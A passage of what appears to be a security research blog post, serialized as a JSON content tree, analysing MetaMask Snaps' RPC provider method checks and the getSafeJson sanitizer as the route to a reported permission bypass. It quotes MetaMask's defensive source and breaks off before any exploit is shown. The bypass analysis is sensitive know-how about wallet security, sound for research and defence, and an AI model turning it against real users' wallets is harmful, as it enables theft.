attacks",{"type":19,"tag":20,"props":35594,"children":35595},{},[35596],{"type":24,"value":35597},"While searching for vulnerabilities in snap environments, we enumerated some features that can be broken, and lead to security issues, such as:",{"type":19,"tag":43,"props":35599,"children":35600},{},[35601,35606,35611,35616],{"type":19,"tag":47,"props":35602,"children":35603},{},[35604],{"type":24,"value":35605},"Broken SES Container isolation",{"type":19,"tag":47,"props":35607,"children":35608},{},[35609],{"type":24,"value":35610},"Insecure endowments in Containers",{"type":19,"tag":47,"props":35612,"children":35613},{},[35614],{"type":24,"value":35615},"Incorrect RPC permission checks",{"type":19,"tag":47,"props":35617,"children":35618},{},[35619],{"type":24,"value":35620},"Insecure snap installation/update",{"type":19,"tag":20,"props":35622,"children":35623},{},[35624],{"type":24,"value":35625},"We went through all of these vulnerabilities assumptions, and found a minor permission bypass bug using insecure endowments.",{"type":19,"tag":20,"props":35627,"children":35628},{},[35629],{"type":24,"value":35630},"To understand the exploit, we need to dig into the snap's RPC interfaces exposed via endowments.",{"type":19,"tag":7050,"props":35632,"children":35634},{"id":35633},"rpc-interfaces-endowments",[35635],{"type":24,"value":35636},"RPC interfaces endowments",{"type":19,"tag":16345,"props":35638,"children":35640},{"id":35639},"providers-limitations",[35641],{"type":24,"value":35642},"Providers limitations",{"type":19,"tag":20,"props":35644,"children":35645},{},[35646,35648,35654,35655,35660,35662,35669],{"type":24,"value":35647},"A snap has two interfaces that can be used to communicate with metamask RPC interface: ",{"type":19,"tag":27,"props":35649,"children":35651},{"className":35650},[],[35652],{"type":24,"value":35653},"snap",{"type":24,"value":8436},{"type":19,"tag":27,"props":35656,"children":35658},{"className":35657},[],[35659],{"type":24,"value":28889},{"type":24,"value":35661}," (EIP-1193). These differ in that each one can only send a subset of the available RPC ",{"type":19,"tag":269,"props":35663,"children":35666},{"href":35664,"rel":35665},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/utils.ts#L130",[273],[35667],{"type":24,"value":35668},"methods",{"type":24,"value":1922},{"type":19,"tag":158,"props":35671,"children":35673},{"className":33088,"code":35672,"language":33090,"meta":7,"style":7},"export function assertSnapOutboundRequest(args: RequestArguments) {\n // Disallow any non `wallet_` or `snap_` methods for separation of concerns.\n assert(\n String.prototype.startsWith.call(args.method, 'wallet_') ||\n String.prototype.startsWith.call(args.method, 'snap_'),\n 'The global Snap API only allows RPC methods starting with `wallet_*` and `snap_*`.',\n );\n assert(\n !BLOCKED_RPC_METHODS.includes(args.method),\n ethErrors.rpc.methodNotFound({\n data: {\n method: args.method,\n },\n }),\n );\n assertStruct(args, JsonStruct, 'Provided value is not JSON-RPC compatible');\n}\n",[35674],{"type":19,"tag":27,"props":35675,"children":35676},{"__ignoreMap":7},[35677,35717,35725,35737,35807,35868,35880,35888,35899,35939,35969,35981,36006,36013,36021,36028,36066],{"type":19,"tag":168,"props":35678,"children":35679},{"class":170,"line":171},[35680,35685,35690,35695,35699,35704,35708,35713],{"type":19,"tag":168,"props":35681,"children":35682},{"style":419},[35683],{"type":24,"value":35684},"export",{"type":19,"tag":168,"props":35686,"children":35687},{"style":382},[35688],{"type":24,"value":35689}," function",{"type":19,"tag":168,"props":35691,"children":35692},{"style":175},[35693],{"type":24,"value":35694}," assertSnapOutboundRequest",{"type":19,"tag":168,"props":35696,"children":35697},{"style":212},[35698],{"type":24,"value":500},{"type":19,"tag":168,"props":35700,"children":35701},{"style":393},[35702],{"type":24,"value":35703},"args",{"type":19,"tag":168,"props":35705,"children":35706},{"style":399},[35707],{"type":24,"value":1922},{"type":19,"tag":168,"props":35709,"children":35710},{"style":825},[35711],{"type":24,"value":35712}," RequestArguments",{"type":19,"tag":168,"props":35714,"children":35715},{"style":212},[35716],{"type":24,"value":12250},{"type":19,"tag":168,"props":35718,"children":35719},{"class":170,"line":198},[35720],{"type":19,"tag":168,"props":35721,"children":35722},{"style":373},[35723],{"type":24,"value":35724}," // Disallow any non `wallet_` or `snap_` methods for separation of concerns.\n",{"type":19,"tag":168,"props":35726,"children":35727},{"class":170,"line":415},[35728,35733],{"type":19,"tag":168,"props":35729,"children":35730},{"style":175},[35731],{"type":24,"value":35732}," assert",{"type":19,"tag":168,"props":35734,"children":35735},{"style":212},[35736],{"type":24,"value":870},{"type":19,"tag":168,"props":35738,"children":35739},{"class":170,"line":450},[35740,35745,35749,35754,35758,35763,35767,35772,35776,35780,35784,35789,35793,35798,35802],{"type":19,"tag":168,"props":35741,"children":35742},{"style":825},[35743],{"type":24,"value":35744}," String",{"type":19,"tag":168,"props":35746,"children":35747},{"style":212},[35748],{"type":24,"value":948},{"type":19,"tag":168,"props":35750,"children":35751},{"style":393},[35752],{"type":24,"value":35753},"prototype",{"type":19,"tag":168,"props":35755,"children":35756},{"style":212},[35757],{"type":24,"value":948},{"type":19,"tag":168,"props":35759,"children":35760},{"style":393},[35761],{"type":24,"value":35762},"startsWith",{"type":19,"tag":168,"props":35764,"children":35765},{"style":212},[35766],{"type":24,"value":948},{"type":19,"tag":168,"props":35768,"children":35769},{"style":175},[35770],{"type":24,"value":35771},"call",{"type":19,"tag":168,"props":35773,"children":35774},{"style":212},[35775],{"type":24,"value":500},{"type":19,"tag":168,"props":35777,"children":35778},{"style":393},[35779],{"type":24,"value":35703},{"type":19,"tag":168,"props":35781,"children":35782},{"style":212},[35783],{"type":24,"value":948},{"type":19,"tag":168,"props":35785,"children":35786},{"style":393},[35787],{"type":24,"value":35788},"method",{"type":19,"tag":168,"props":35790,"children":35791},{"style":212},[35792],{"type":24,"value":471},{"type":19,"tag":168,"props":35794,"children":35795},{"style":181},[35796],{"type":24,"value":35797},"'wallet_'",{"type":19,"tag":168,"props":35799,"children":35800},{"style":212},[35801],{"type":24,"value":481},{"type":19,"tag":168,"props":35803,"children":35804},{"style":399},[35805],{"type":24,"value":35806},"||\n",{"type":19,"tag":168,"props":35808,"children":35809},{"class":170,"line":560},[35810,35815,35819,35823,35827,35831,35835,35839,35843,35847,35851,35855,35859,35864],{"type":19,"tag":168,"props":35811,"children":35812},{"style":825},[35813],{"type":24,"value":35814}," String",{"type":19,"tag":168,"props":35816,"children":35817},{"style":212},[35818],{"type":24,"value":948},{"type":19,"tag":168,"props":35820,"children":35821},{"style":393},[35822],{"type":24,"value":35753},{"type":19,"tag":168,"props":35824,"children":35825},{"style":212},[35826],{"type":24,"value":948},{"type":19,"tag":168,"props":35828,"children":35829},{"style":393},[35830],{"type":24,"value":35762},{"type":19,"tag":168,"props":35832,"children":35833},{"style":212},[35834],{"type":24,"value":948},{"type":19,"tag":168,"props":35836,"children":35837},{"style":175},[35838],{"type":24,"value":35771},{"type":19,"tag":168,"props":35840,"children":35841},{"style":212},[35842],{"type":24,"value":500},{"type":19,"tag":168,"props":35844,"children":35845},{"style":393},[35846],{"type":24,"value":35703},{"type":19,"tag":168,"props":35848,"children":35849},{"style":212},[35850],{"type":24,"value":948},{"type":19,"tag":168,"props":35852,"children":35853},{"style":393},[35854],{"type":24,"value":35788},{"type":19,"tag":168,"props":35856,"children":35857},{"style":212},[35858],{"type":24,"value":471},{"type":19,"tag":168,"props":35860,"children":35861},{"style":181},[35862],{"type":24,"value":35863},"'snap_'",{"type":19,"tag":168,"props":35865,"children":35866},{"style":212},[35867],{"type":24,"value":4172},{"type":19,"tag":168,"props":35869,"children":35870},{"class":170,"line":666},[35871,35876],{"type":19,"tag":168,"props":35872,"children":35873},{"style":181},[35874],{"type":24,"value":35875}," 'The global Snap API only allows RPC methods starting with `wallet_*` and `snap_*`.'",{"type":19,"tag":168,"props":35877,"children":35878},{"style":212},[35879],{"type":24,"value":915},{"type":19,"tag":168,"props":35881,"children":35882},{"class":170,"line":694},[35883],{"type":19,"tag":168,"props":35884,"children":35885},{"style":212},[35886],{"type":24,"value":35887}," );\n",{"type":19,"tag":168,"props":35889,"children":35890},{"class":170,"line":707},[35891,35895],{"type":19,"tag":168,"props":35892,"children":35893},{"style":175},[35894],{"type":24,"value":35732},{"type":19,"tag":168,"props":35896,"children":35897},{"style":212},[35898],{"type":24,"value":870},{"type":19,"tag":168,"props":35900,"children":35901},{"class":170,"line":725},[35902,35906,35911,35915,35919,35923,35927,35931,35935],{"type":19,"tag":168,"props":35903,"children":35904},{"style":399},[35905],{"type":24,"value":18425},{"type":19,"tag":168,"props":35907,"children":35908},{"style":393},[35909],{"type":24,"value":35910},"BLOCKED_RPC_METHODS",{"type":19,"tag":168,"props":35912,"children":35913},{"style":212},[35914],{"type":24,"value":948},{"type":19,"tag":168,"props":35916,"children":35917},{"style":175},[35918],{"type":24,"value":32655},{"type":19,"tag":168,"props":35920,"children":35921},{"style":212},[35922],{"type":24,"value":500},{"type":19,"tag":168,"props":35924,"children":35925},{"style":393},[35926],{"type":24,"value":35703},{"type":19,"tag":168,"props":35928,"children":35929},{"style":212},[35930],{"type":24,"value":948},{"type":19,"tag":168,"props":35932,"children":35933},{"style":393},[35934],{"type":24,"value":35788},{"type":19,"tag":168,"props":35936,"children":35937},{"style":212},[35938],{"type":24,"value":4172},{"type":19,"tag":168,"props":35940,"children":35941},{"class":170,"line":746},[35942,35947,35951,35956,35960,35965],{"type":19,"tag":168,"props":35943,"children":35944},{"style":393},[35945],{"type":24,"value":35946}," ethErrors",{"type":19,"tag":168,"props":35948,"children":35949},{"style":212},[35950],{"type":24,"value":948},{"type":19,"tag":168,"props":35952,"children":35953},{"style":393},[35954],{"type":24,"value":35955},"rpc",{"type":19,"tag":168,"props":35957,"children":35958},{"style":212},[35959],{"type":24,"value":948},{"type":19,"tag":168,"props":35961,"children":35962},{"style":175},[35963],{"type":24,"value":35964},"methodNotFound",{"type":19,"tag":168,"props":35966,"children":35967},{"style":212},[35968],{"type":24,"value":12587},{"type":19,"tag":168,"props":35970,"children":35971},{"class":170,"line":755},[35972,35977],{"type":19,"tag":168,"props":35973,"children":35974},{"style":393},[35975],{"type":24,"value":35976}," data:",{"type":19,"tag":168,"props":35978,"children":35979},{"style":212},[35980],{"type":24,"value":691},{"type":19,"tag":168,"props":35982,"children":35983},{"class":170,"line":1008},[35984,35989,35994,35998,36002],{"type":19,"tag":168,"props":35985,"children":35986},{"style":393},[35987],{"type":24,"value":35988}," method:",{"type":19,"tag":168,"props":35990,"children":35991},{"style":393},[35992],{"type":24,"value":35993}," args",{"type":19,"tag":168,"props":35995,"children":35996},{"style":212},[35997],{"type":24,"value":948},{"type":19,"tag":168,"props":35999,"children":36000},{"style":393},[36001],{"type":24,"value":35788},{"type":19,"tag":168,"props":36003,"children":36004},{"style":212},[36005],{"type":24,"value":915},{"type":19,"tag":168,"props":36007,"children":36008},{"class":170,"line":1025},[36009],{"type":19,"tag":168,"props":36010,"children":36011},{"style":212},[36012],{"type":24,"value":34674},{"type":19,"tag":168,"props":36014,"children":36015},{"class":170,"line":1042},[36016],{"type":19,"tag":168,"props":36017,"children":36018},{"style":212},[36019],{"type":24,"value":36020}," }),\n",{"type":19,"tag":168,"props":36022,"children":36023},{"class":170,"line":1055},[36024],{"type":19,"tag":168,"props":36025,"children":36026},{"style":212},[36027],{"type":24,"value":35887},{"type":19,"tag":168,"props":36029,"children":36030},{"class":170,"line":1064},[36031,36036,36040,36044,36048,36053,36057,36062],{"type":19,"tag":168,"props":36032,"children":36033},{"style":175},[36034],{"type":24,"value":36035}," assertStruct",{"type":19,"tag":168,"props":36037,"children":36038},{"style":212},[36039],{"type":24,"value":500},{"type":19,"tag":168,"props":36041,"children":36042},{"style":393},[36043],{"type":24,"value":35703},{"type":19,"tag":168,"props":36045,"children":36046},{"style":212},[36047],{"type":24,"value":471},{"type":19,"tag":168,"props":36049,"children":36050},{"style":393},[36051],{"type":24,"value":36052},"JsonStruct",{"type":19,"tag":168,"props":36054,"children":36055},{"style":212},[36056],{"type":24,"value":471},{"type":19,"tag":168,"props":36058,"children":36059},{"style":181},[36060],{"type":24,"value":36061},"'Provided value is not JSON-RPC compatible'",{"type":19,"tag":168,"props":36063,"children":36064},{"style":212},[36065],{"type":24,"value":1249},{"type":19,"tag":168,"props":36067,"children":36068},{"class":170,"line":1087},[36069],{"type":19,"tag":168,"props":36070,"children":36071},{"style":212},[36072],{"type":24,"value":1326},{"type":19,"tag":20,"props":36074,"children":36075},{},[36076,36078,36083,36085,36091,36092,36098],{"type":24,"value":36077},"This function is called by the ",{"type":19,"tag":27,"props":36079,"children":36081},{"className":36080},[],[36082],{"type":24,"value":35653},{"type":24,"value":36084}," RPC provider, so it can only send methods starting with ",{"type":19,"tag":27,"props":36086,"children":36088},{"className":36087},[],[36089],{"type":24,"value":36090},"wallet_",{"type":24,"value":10579},{"type":19,"tag":27,"props":36093,"children":36095},{"className":36094},[],[36096],{"type":24,"value":36097},"snap_",{"type":24,"value":36099},". In addition, there are some blocked RPC methods that immediately throw an error when encountered.",{"type":19,"tag":20,"props":36101,"children":36102},{},[36103,36105,36110,36112,36117,36119,36125],{"type":24,"value":36104},"On the other hand, the ",{"type":19,"tag":27,"props":36106,"children":36108},{"className":36107},[],[36109],{"type":24,"value":28889},{"type":24,"value":36111}," provider only blocks methods starting with ",{"type":19,"tag":27,"props":36113,"children":36115},{"className":36114},[],[36116],{"type":24,"value":36097},{"type":24,"value":36118}," and the blocked methods. However, it requires the ",{"type":19,"tag":27,"props":36120,"children":36122},{"className":36121},[],[36123],{"type":24,"value":36124},"endowment:ethereum-provider",{"type":24,"value":36126}," permission in the snap manifest.",{"type":19,"tag":16345,"props":36128,"children":36130},{"id":36129},"execution-flow",[36131],{"type":24,"value":36132},"Execution flow",{"type":19,"tag":20,"props":36134,"children":36135},{},[36136,36138,36143,36144,36149,36151,36156,36157,36163],{"type":24,"value":36137},"Both providers (",{"type":19,"tag":27,"props":36139,"children":36141},{"className":36140},[],[36142],{"type":24,"value":35653},{"type":24,"value":8436},{"type":19,"tag":27,"props":36145,"children":36147},{"className":36146},[],[36148],{"type":24,"value":28889},{"type":24,"value":36150},") are built outside the SES container with a ",{"type":19,"tag":27,"props":36152,"children":36154},{"className":36153},[],[36155],{"type":24,"value":28965},{"type":24,"value":3893},{"type":19,"tag":269,"props":36158,"children":36161},{"href":36159,"rel":36160},"https://github.com/MetaMask/snaps/blob/main/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L437",[273],[36162],{"type":24,"value":28849},{"type":24,"value":1922},{"type":19,"tag":158,"props":36165,"children":36167},{"className":33405,"code":36166,"language":33407,"meta":7,"style":7}," const request = async (args: RequestArguments) => {\n assertSnapOutboundRequest(args); // or assertEthereumOutboundRequest(args);\n const sanitizedArgs = getSafeJson(args);\n this.notify({ method: 'OutboundRequest' });\n try {\n return await withTeardown(\n originalRequest(sanitizedArgs as unknown as RequestArguments),\n this as any,\n );\n } finally {\n this.notify({ method: 'OutboundResponse' });\n }\n };\n",[36168],{"type":19,"tag":27,"props":36169,"children":36170},{"__ignoreMap":7},[36171,36218,36243,36276,36311,36323,36343,36381,36401,36408,36425,36458,36465],{"type":19,"tag":168,"props":36172,"children":36173},{"class":170,"line":171},[36174,36178,36182,36186,36190,36194,36198,36202,36206,36210,36214],{"type":19,"tag":168,"props":36175,"children":36176},{"style":382},[36177],{"type":24,"value":33663},{"type":19,"tag":168,"props":36179,"children":36180},{"style":175},[36181],{"type":24,"value":28854},{"type":19,"tag":168,"props":36183,"children":36184},{"style":399},[36185],{"type":24,"value":402},{"type":19,"tag":168,"props":36187,"children":36188},{"style":382},[36189],{"type":24,"value":33840},{"type":19,"tag":168,"props":36191,"children":36192},{"style":212},[36193],{"type":24,"value":461},{"type":19,"tag":168,"props":36195,"children":36196},{"style":393},[36197],{"type":24,"value":35703},{"type":19,"tag":168,"props":36199,"children":36200},{"style":399},[36201],{"type":24,"value":1922},{"type":19,"tag":168,"props":36203,"children":36204},{"style":825},[36205],{"type":24,"value":35712},{"type":19,"tag":168,"props":36207,"children":36208},{"style":212},[36209],{"type":24,"value":481},{"type":19,"tag":168,"props":36211,"children":36212},{"style":382},[36213],{"type":24,"value":12268},{"type":19,"tag":168,"props":36215,"children":36216},{"style":212},[36217],{"type":24,"value":691},{"type":19,"tag":168,"props":36219,"children":36220},{"class":170,"line":198},[36221,36226,36230,36234,36238],{"type":19,"tag":168,"props":36222,"children":36223},{"style":175},[36224],{"type":24,"value":36225}," assertSnapOutboundRequest",{"type":19,"tag":168,"props":36227,"children":36228},{"style":212},[36229],{"type":24,"value":500},{"type":19,"tag":168,"props":36231,"children":36232},{"style":393},[36233],{"type":24,"value":35703},{"type":19,"tag":168,"props":36235,"children":36236},{"style":212},[36237],{"type":24,"value":25822},{"type":19,"tag":168,"props":36239,"children":36240},{"style":373},[36241],{"type":24,"value":36242},"// or assertEthereumOutboundRequest(args);\n",{"type":19,"tag":168,"props":36244,"children":36245},{"class":170,"line":415},[36246,36250,36255,36259,36264,36268,36272],{"type":19,"tag":168,"props":36247,"children":36248},{"style":382},[36249],{"type":24,"value":29019},{"type":19,"tag":168,"props":36251,"children":36252},{"style":393},[36253],{"type":24,"value":36254}," sanitizedArgs",{"type":19,"tag":168,"props":36256,"children":36257},{"style":399},[36258],{"type":24,"value":402},{"type":19,"tag":168,"props":36260,"children":36261},{"style":175},[36262],{"type":24,"value":36263}," getSafeJson",{"type":19,"tag":168,"props":36265,"children":36266},{"style":212},[36267],{"type":24,"value":500},{"type":19,"tag":168,"props":36269,"children":36270},{"style":393},[36271],{"type":24,"value":35703},{"type":19,"tag":168,"props":36273,"children":36274},{"style":212},[36275],{"type":24,"value":1249},{"type":19,"tag":168,"props":36277,"children":36278},{"class":170,"line":450},[36279,36284,36288,36293,36297,36301,36306],{"type":19,"tag":168,"props":36280,"children":36281},{"style":382},[36282],{"type":24,"value":36283}," this",{"type":19,"tag":168,"props":36285,"children":36286},{"style":212},[36287],{"type":24,"value":948},{"type":19,"tag":168,"props":36289,"children":36290},{"style":175},[36291],{"type":24,"value":36292},"notify",{"type":19,"tag":168,"props":36294,"children":36295},{"style":212},[36296],{"type":24,"value":28970},{"type":19,"tag":168,"props":36298,"children":36299},{"style":393},[36300],{"type":24,"value":28975},{"type":19,"tag":168,"props":36302,"children":36303},{"style":181},[36304],{"type":24,"value":36305}," 'OutboundRequest'",{"type":19,"tag":168,"props":36307,"children":36308},{"style":212},[36309],{"type":24,"value":36310}," });\n",{"type":19,"tag":168,"props":36312,"children":36313},{"class":170,"line":560},[36314,36319],{"type":19,"tag":168,"props":36315,"children":36316},{"style":419},[36317],{"type":24,"value":36318}," try",{"type":19,"tag":168,"props":36320,"children":36321},{"style":212},[36322],{"type":24,"value":691},{"type":19,"tag":168,"props":36324,"children":36325},{"class":170,"line":666},[36326,36330,36334,36339],{"type":19,"tag":168,"props":36327,"children":36328},{"style":419},[36329],{"type":24,"value":13192},{"type":19,"tag":168,"props":36331,"children":36332},{"style":419},[36333],{"type":24,"value":33686},{"type":19,"tag":168,"props":36335,"children":36336},{"style":175},[36337],{"type":24,"value":36338}," withTeardown",{"type":19,"tag":168,"props":36340,"children":36341},{"style":212},[36342],{"type":24,"value":870},{"type":19,"tag":168,"props":36344,"children":36345},{"class":170,"line":694},[36346,36351,36355,36360,36364,36369,36373,36377],{"type":19,"tag":168,"props":36347,"children":36348},{"style":175},[36349],{"type":24,"value":36350}," originalRequest",{"type":19,"tag":168,"props":36352,"children":36353},{"style":212},[36354],{"type":24,"value":500},{"type":19,"tag":168,"props":36356,"children":36357},{"style":393},[36358],{"type":24,"value":36359},"sanitizedArgs",{"type":19,"tag":168,"props":36361,"children":36362},{"style":419},[36363],{"type":24,"value":6266},{"type":19,"tag":168,"props":36365,"children":36366},{"style":825},[36367],{"type":24,"value":36368}," unknown",{"type":19,"tag":168,"props":36370,"children":36371},{"style":419},[36372],{"type":24,"value":6266},{"type":19,"tag":168,"props":36374,"children":36375},{"style":825},[36376],{"type":24,"value":35712},{"type":19,"tag":168,"props":36378,"children":36379},{"style":212},[36380],{"type":24,"value":4172},{"type":19,"tag":168,"props":36382,"children":36383},{"class":170,"line":707},[36384,36389,36393,36397],{"type":19,"tag":168,"props":36385,"children":36386},{"style":382},[36387],{"type":24,"value":36388}," this",{"type":19,"tag":168,"props":36390,"children":36391},{"style":419},[36392],{"type":24,"value":6266},{"type":19,"tag":168,"props":36394,"children":36395},{"style":825},[36396],{"type":24,"value":7801},{"type":19,"tag":168,"props":36398,"children":36399},{"style":212},[36400],{"type":24,"value":915},{"type":19,"tag":168,"props":36402,"children":36403},{"class":170,"line":725},[36404],{"type":19,"tag":168,"props":36405,"children":36406},{"style":212},[36407],{"type":24,"value":5180},{"type":19,"tag":168,"props":36409,"children":36410},{"class":170,"line":746},[36411,36416,36421],{"type":19,"tag":168,"props":36412,"children":36413},{"style":212},[36414],{"type":24,"value":36415}," } ",{"type":19,"tag":168,"props":36417,"children":36418},{"style":419},[36419],{"type":24,"value":36420},"finally",{"type":19,"tag":168,"props":36422,"children":36423},{"style":212},[36424],{"type":24,"value":691},{"type":19,"tag":168,"props":36426,"children":36427},{"class":170,"line":755},[36428,36433,36437,36441,36445,36449,36454],{"type":19,"tag":168,"props":36429,"children":36430},{"style":382},[36431],{"type":24,"value":36432}," this",{"type":19,"tag":168,"props":36434,"children":36435},{"style":212},[36436],{"type":24,"value":948},{"type":19,"tag":168,"props":36438,"children":36439},{"style":175},[36440],{"type":24,"value":36292},{"type":19,"tag":168,"props":36442,"children":36443},{"style":212},[36444],{"type":24,"value":28970},{"type":19,"tag":168,"props":36446,"children":36447},{"style":393},[36448],{"type":24,"value":28975},{"type":19,"tag":168,"props":36450,"children":36451},{"style":181},[36452],{"type":24,"value":36453}," 'OutboundResponse'",{"type":19,"tag":168,"props":36455,"children":36456},{"style":212},[36457],{"type":24,"value":36310},{"type":19,"tag":168,"props":36459,"children":36460},{"class":170,"line":1008},[36461],{"type":19,"tag":168,"props":36462,"children":36463},{"style":212},[36464],{"type":24,"value":10109},{"type":19,"tag":168,"props":36466,"children":36467},{"class":170,"line":1025},[36468],{"type":19,"tag":168,"props":36469,"children":36470},{"style":212},[36471],{"type":24,"value":36472}," };\n",{"type":19,"tag":20,"props":36474,"children":36475},{},[36476,36478,36483,36485,36490],{"type":24,"value":36477},"In particular, this function is from the ",{"type":19,"tag":27,"props":36479,"children":36481},{"className":36480},[],[36482],{"type":24,"value":35653},{"type":24,"value":36484}," provider, but the only thing that changes between this and ",{"type":19,"tag":27,"props":36486,"children":36488},{"className":36487},[],[36489],{"type":24,"value":28889},{"type":24,"value":36491}," is the assert function in the first line.",{"type":19,"tag":20,"props":36493,"children":36494},{},[36495],{"type":24,"value":36496},"As we can see in the code, the execution flow follows this pattern:",{"type":19,"tag":2869,"props":36498,"children":36499},{},[36500,36512,36517],{"type":19,"tag":47,"props":36501,"children":36502},{},[36503,36505,36510],{"type":24,"value":36504},"Assert if ",{"type":19,"tag":27,"props":36506,"children":36508},{"className":36507},[],[36509],{"type":24,"value":35703},{"type":24,"value":36511}," are valid",{"type":19,"tag":47,"props":36513,"children":36514},{},[36515],{"type":24,"value":36516},"getSafeJson to get sanitizedArgs",{"type":19,"tag":47,"props":36518,"children":36519},{},[36520],{"type":24,"value":36521},"originalRequest(sanitizedArgs)",{"type":19,"tag":20,"props":36523,"children":36524},{},[36525,36527,36533],{"type":24,"value":36526},"Obs: ",{"type":19,"tag":27,"props":36528,"children":36530},{"className":36529},[],[36531],{"type":24,"value":36532},"originalRequest",{"type":24,"value":36534}," makes the RPC call to metamask service worker",{"type":19,"tag":7050,"props":36536,"children":36538},{"id":36537},"safe-json-exploit",[36539],{"type":24,"value":36540},"Safe JSON Exploit",{"type":19,"tag":20,"props":36542,"children":36543},{},[36544,36546,36552,36554,36559,36561,36567],{"type":24,"value":36545},"As we dug further into the",{"type":19,"tag":27,"props":36547,"children":36549},{"className":36548},[],[36550],{"type":24,"value":36551},"getSafeJson",{"type":24,"value":36553}," function (defined in ",{"type":19,"tag":27,"props":36555,"children":36557},{"className":36556},[],[36558],{"type":24,"value":34771},{"type":24,"value":36560}," package) we discovered the following ",{"type":19,"tag":269,"props":36562,"children":36565},{"href":36563,"rel":36564},"https://github.com/MetaMask/utils/blob/7f0116d4d853d85319d200c503a2f9abc390f1d3/src/json.ts#L72",[273],[36566],{"type":24,"value":27},{"type":24,"value":1922},{"type":19,"tag":158,"props":36569,"children":36571},{"className":33088,"code":36570,"language":33090,"meta":7,"style":7},"export const JsonStruct = coerce(UnsafeJsonStruct, any(), (value) => {\n assertStruct(value, UnsafeJsonStruct);\n return JSON.parse(\n JSON.stringify(value, (propKey, propValue) => {\n // Strip __proto__ and constructor properties to prevent prototype pollution.\n if (propKey === '__proto__' || propKey === 'constructor') {\n return undefined;\n }\n return propValue;\n }),\n );\n});\n",[36572],{"type":19,"tag":27,"props":36573,"children":36574},{"__ignoreMap":7},[36575,36640,36667,36692,36747,36755,36802,36818,36825,36842,36849,36856],{"type":19,"tag":168,"props":36576,"children":36577},{"class":170,"line":171},[36578,36582,36587,36592,36596,36601,36605,36610,36614,36618,36623,36628,36632,36636],{"type":19,"tag":168,"props":36579,"children":36580},{"style":419},[36581],{"type":24,"value":35684},{"type":19,"tag":168,"props":36583,"children":36584},{"style":382},[36585],{"type":24,"value":36586}," const",{"type":19,"tag":168,"props":36588,"children":36589},{"style":393},[36590],{"type":24,"value":36591}," JsonStruct",{"type":19,"tag":168,"props":36593,"children":36594},{"style":399},[36595],{"type":24,"value":402},{"type":19,"tag":168,"props":36597,"children":36598},{"style":175},[36599],{"type":24,"value":36600}," coerce",{"type":19,"tag":168,"props":36602,"children":36603},{"style":212},[36604],{"type":24,"value":500},{"type":19,"tag":168,"props":36606,"children":36607},{"style":393},[36608],{"type":24,"value":36609},"UnsafeJsonStruct",{"type":19,"tag":168,"props":36611,"children":36612},{"style":212},[36613],{"type":24,"value":471},{"type":19,"tag":168,"props":36615,"children":36616},{"style":175},[36617],{"type":24,"value":14162},{"type":19,"tag":168,"props":36619,"children":36620},{"style":212},[36621],{"type":24,"value":36622},"(), (",{"type":19,"tag":168,"props":36624,"children":36625},{"style":393},[36626],{"type":24,"value":36627},"value",{"type":19,"tag":168,"props":36629,"children":36630},{"style":212},[36631],{"type":24,"value":481},{"type":19,"tag":168,"props":36633,"children":36634},{"style":382},[36635],{"type":24,"value":12268},{"type":19,"tag":168,"props":36637,"children":36638},{"style":212},[36639],{"type":24,"value":691},{"type":19,"tag":168,"props":36641,"children":36642},{"class":170,"line":198},[36643,36647,36651,36655,36659,36663],{"type":19,"tag":168,"props":36644,"children":36645},{"style":175},[36646],{"type":24,"value":36035},{"type":19,"tag":168,"props":36648,"children":36649},{"style":212},[36650],{"type":24,"value":500},{"type":19,"tag":168,"props":36652,"children":36653},{"style":393},[36654],{"type":24,"value":36627},{"type":19,"tag":168,"props":36656,"children":36657},{"style":212},[36658],{"type":24,"value":471},{"type":19,"tag":168,"props":36660,"children":36661},{"style":393},[36662],{"type":24,"value":36609},{"type":19,"tag":168,"props":36664,"children":36665},{"style":212},[36666],{"type":24,"value":1249},{"type":19,"tag":168,"props":36668,"children":36669},{"class":170,"line":415},[36670,36675,36679,36683,36688],{"type":19,"tag":168,"props":36671,"children":36672},{"style":419},[36673],{"type":24,"value":36674}," return",{"type":19,"tag":168,"props":36676,"children":36677},{"style":393},[36678],{"type":24,"value":35003},{"type":19,"tag":168,"props":36680,"children":36681},{"style":212},[36682],{"type":24,"value":948},{"type":19,"tag":168,"props":36684,"children":36685},{"style":175},[36686],{"type":24,"value":36687},"parse",{"type":19,"tag":168,"props":36689,"children":36690},{"style":212},[36691],{"type":24,"value":870},{"type":19,"tag":168,"props":36693,"children":36694},{"class":170,"line":450},[36695,36700,36704,36709,36713,36717,36721,36726,36730,36735,36739,36743],{"type":19,"tag":168,"props":36696,"children":36697},{"style":393},[36698],{"type":24,"value":36699}," JSON",{"type":19,"tag":168,"props":36701,"children":36702},{"style":212},[36703],{"type":24,"value":948},{"type":19,"tag":168,"props":36705,"children":36706},{"style":175},[36707],{"type":24,"value":36708},"stringify",{"type":19,"tag":168,"props":36710,"children":36711},{"style":212},[36712],{"type":24,"value":500},{"type":19,"tag":168,"props":36714,"children":36715},{"style":393},[36716],{"type":24,"value":36627},{"type":19,"tag":168,"props":36718,"children":36719},{"style":212},[36720],{"type":24,"value":6257},{"type":19,"tag":168,"props":36722,"children":36723},{"style":393},[36724],{"type":24,"value":36725},"propKey",{"type":19,"tag":168,"props":36727,"children":36728},{"style":212},[36729],{"type":24,"value":471},{"type":19,"tag":168,"props":36731,"children":36732},{"style":393},[36733],{"type":24,"value":36734},"propValue",{"type":19,"tag":168,"props":36736,"children":36737},{"style":212},[36738],{"type":24,"value":481},{"type":19,"tag":168,"props":36740,"children":36741},{"style":382},[36742],{"type":24,"value":12268},{"type":19,"tag":168,"props":36744,"children":36745},{"style":212},[36746],{"type":24,"value":691},{"type":19,"tag":168,"props":36748,"children":36749},{"class":170,"line":560},[36750],{"type":19,"tag":168,"props":36751,"children":36752},{"style":373},[36753],{"type":24,"value":36754}," // Strip __proto__ and constructor properties to prevent prototype pollution.\n",{"type":19,"tag":168,"props":36756,"children":36757},{"class":170,"line":666},[36758,36763,36767,36771,36775,36780,36784,36789,36793,36798],{"type":19,"tag":168,"props":36759,"children":36760},{"style":419},[36761],{"type":24,"value":36762}," if",{"type":19,"tag":168,"props":36764,"children":36765},{"style":212},[36766],{"type":24,"value":461},{"type":19,"tag":168,"props":36768,"children":36769},{"style":393},[36770],{"type":24,"value":36725},{"type":19,"tag":168,"props":36772,"children":36773},{"style":399},[36774],{"type":24,"value":28894},{"type":19,"tag":168,"props":36776,"children":36777},{"style":181},[36778],{"type":24,"value":36779}," 